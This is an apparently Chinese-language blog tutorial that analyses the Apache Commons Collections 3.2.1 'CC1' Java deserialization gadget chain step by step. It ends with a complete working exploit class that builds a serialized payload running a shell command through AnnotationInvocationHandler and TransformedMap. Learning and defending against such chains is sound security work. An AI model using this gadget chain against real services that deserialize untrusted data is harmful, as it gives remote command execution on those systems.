cc系列学习视频参考b站 白日梦组长
环境下载
环境jdk 8u65
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html然后下载sun包,点击zip
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压
然后创建maven项目
把src文件加载进来
导入依赖
<dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>
然后下载源码
环境准备完成。
我这里就不过多解释cc链了
这里在唠叨一下,反序列化漏洞
这里借用白日梦组长的图
反序列化原理
反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。
那如何找漏洞点?
结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。
如下图
a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。
反序列化中离不开的两个东西,一个是map集合,一个是反射。
如果对反射不太了解,可以参考之前的博文
命令执行的方式
分析之前,先捋一下,java中如何执行命令
常规命令执行
Runtime.getRuntime().exec("open -a calculator");通过反射执行命令
ClassaClass = Runtime.class;Runtime r = Runtime.getRuntime();Method exec = aClass.getMethod("exec", String.class);exec.invoke(r,"open -a calculator");
通过Transformer执行命令
Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);
通过上面三种方式,是不是稍微好理解了。
漏洞分析之Transformer
那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口
而InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):
这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc
然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合
这里的checkSetValue方法需要传入一个value,然后回调给Transformer
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}
回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用
关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下
•default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。
•private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)
•public : 对所有类可见。使用对象:类、接口、变量、方法
•protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)。
再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。
那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。
相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});HashMap<Object,Object> hashedMap = new HashMap();TransformedMap.decorate(hashedMap,null,invokerTransformer);
然后再去找checkSetValue调用方法
MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置
中途代码验证
利用链完成了一半,尝试写代码进行验证
Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});HashMaphashedMap = new HashMap();hashedMap.put("key","bbb");Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);for (Map.Entry entry:map.entrySet()){entry.setValue(r);}
打个断点可以看到,MapEntry中的键值对已经显示出来了
这里的checkSetValue也存在数据,说明刚才的分析是对的
最后到达漏洞点
寻找入口点
这里已经找到了setValue,完整的攻击链还差一步,寻找readObject
在sun.reflect.annotation下发现了readObject方法
遍历集合,获取key
查看最上面的代码
使用了class修饰 所以访问需要当前包下
构造方法传入两个参数,第一个是注解,第二个是map集合
刚好是符合上面构造的exp的参数,集合map
这里需要使用反射加载才能调用这个构造方法
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});HashMap<Object,Object> hashedMap = new HashMap();hashedMap.put("key","bbb");Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class, map);serializable(o);unserializable("ser.bin");
大致是这样的,但是无法运行。
通过反射序列化Runtime类
反序列必须继承Serializable接口,Runtime 无法序列化
setValue的值无法控制
遍历map中需要绕过两个if判断
解决三个问题
先解决Runtime问题
虽然Runtime无法序列化,但是Class是可以序列化的
Runtime.class
所以代码如下
Class c = Runtime.class;Method getRuntime = c.getMethod("getRuntime", null);Runtime r = (Runtime) getRuntime.invoke(null, null);Method exec = c.getMethod("exec", String.class);exec.invoke(r,"open -a calculator");
转换一下
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);
这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可
优化数组代码
Transformer[] transformer = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
最终代码
// 命令执行代码Transformer[] transformer = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);//遍历mapHashMap<Object,Object> hashedMap = new HashMap();hashedMap.put("key","aaa");Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);// 反射引用AnnotationInvocationHandlerClass aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class, map);//序列化serializable(o);unserializable("ser.bin");
在解决if判断
这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。
这里打个断点调试下
这里的memberType是传入的注解 Override,成员变量为空
这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,
override是单独的接口,没有成员方法,这里换成其他注解 target
发现他有个成员方法,value
替换后重新断点,发现找到了参数
这里第二个if也成功绕过
然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类
但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。
原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。
在数组中添加一下代码,把value替换为Runtime.class即可执行命令
new ConstantTransformer(Runtime.class)现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。
最终exp
package com.test.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class Demo {public static void main(String[] args) throws Exception {// 命令执行代码Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);//遍历mapHashMap<Object,Object> hashedMap = new HashMap();hashedMap.put("value","aaa");Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);// 反射引用AnnotationInvocationHandlerClass aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class, map);//序列化serializable(o);unserializable("ser.bin");}public static void serializable(Object o) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(o);}public static Object unserializable(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object o = ois.readObject();return o;}}Method.invoke() Runtime.exec()
Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exe
总结
在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。